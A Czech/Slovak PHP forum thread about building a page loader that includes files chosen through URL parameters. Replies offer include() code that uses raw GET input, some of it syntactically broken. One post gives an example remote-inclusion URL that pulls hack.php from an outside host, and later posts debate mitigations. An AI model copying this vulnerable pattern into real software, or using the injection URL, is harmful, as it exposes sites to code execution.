Zdravím všechny php mágy v novém roce, kteří jsou určitě teď polní energie:-) a prosím o jednu malinkou radu.
Na svých stránkách používám odkazy typu stranka.php?id=xyz
<?
if (file_exists("adresar1/".$_GET["id"].".php")){
include "adresar1/".$_GET["id"].".php";
} else {
echo 'Požadovaná stránka nebyla nalezena.';
}
?>
Teď bych ještě potřeboval volat stránky z různých adresářů. Tedy stranka.php?id=xyz&adresar=1
Pls, jak mam upravit na horní kod aby to fungovalo.
Díkas
Mára
<?
if (file_exists("$_GET["id"].".php")){
include $_GET["id"].".php";
} else {
echo 'Požadovaná stránka nebyla nalezena.';
}
?>
A můžeš odkazovat stranka.php?id=adresar/stranka
alebo...
<?
if (file_exists(".$_GET["adresar]."/".$_GET["id"].".php")){
include $_GET["adresar]."/".$_GET["id"].".php"
} else {
echo 'Požadovaná stránka nebyla nalezena.';
}
?>
a odkazovat stranka.php?adresar=adresar&id=stranka
no nechcem ti radiť, ale toto čo používaš je dosť veľká bezpečnostná diera.
lebo odkazom stranka.php?adresar=http://www.nal.wz.cz&id=hack ti zakombinujem do kódu svoj vlastný z http://www.nal.wz.cz/hack.php
>> Zdravím všechny php mágy v novém roce, kteří jsou určitě teď polní energie:-)
Hm hm, plnej energie byl spíš server když mi ze srandy odrovnal půlku tabulek :E
..... dosť veľká bezpečnostná diera
jo - uz to tu bylo - priklad z manualu (az dole):
http://www.webzdarma.cz/forum/read.php?f=2&i=17589&t=17589
No evidetně tomu nerozumím, ale když jsem se díval na ten starší odkaz ve foru tak tam je:
<?php
switch ($_GET['str']) {
case "2": $otev = 'druha.php'; break; // promenna = skutecna adresa
case "3": $otev = 'treti.php'; break;
case "4": $otev = 'ctvrta.php'; break;
default: $otev = 'prvni.php'; break; } // vychozi nebo chyba
include ($otev);
?>
Přece když takhle mám přes 200 stránek, tak nebudu psát
case 2
case 3
case xxx
case 200
To bych to mohl psát až do zítřka.
A co se týče oné bezpečností chyby. Tak to co používám, jsem si vytáhl z nějakého příspěvku tady na fóru, kde nějací borci psali, že to používají a je to bezpečné!
Bezpecnost spociva v tom, ze jde spustit pouze to, co je povolene.
Je tam jeste jeden zpusob, ale ten jsem nezkousel - snad prispeje nekdo jiny.
Nemusíš používat tyhlety věci, pokud je tu zaplé open_basedir restriction a vyplé allow_url_fopen, tak by ti nic hrozit nemělo. Ale i tak, pomocí dobře použitého porovnání řetězců a použití fce realpath se to dá taky dobře ošetřit.
Pokud do file_exists() hodite url, vrati false, jelikoz kontroluje existenci souboru ve filesystemu, takze jaka dira...
tiez si myslim,ze je to diera, ked si mozem naincludovat, co chcem.
ak nebudu osetrene chybove hlasky, tak to nazvime "include injection" ? :-)
Nemuzes si includovat, co chces. Muzes includovat jen to, co v danem adresari skutecne existuje.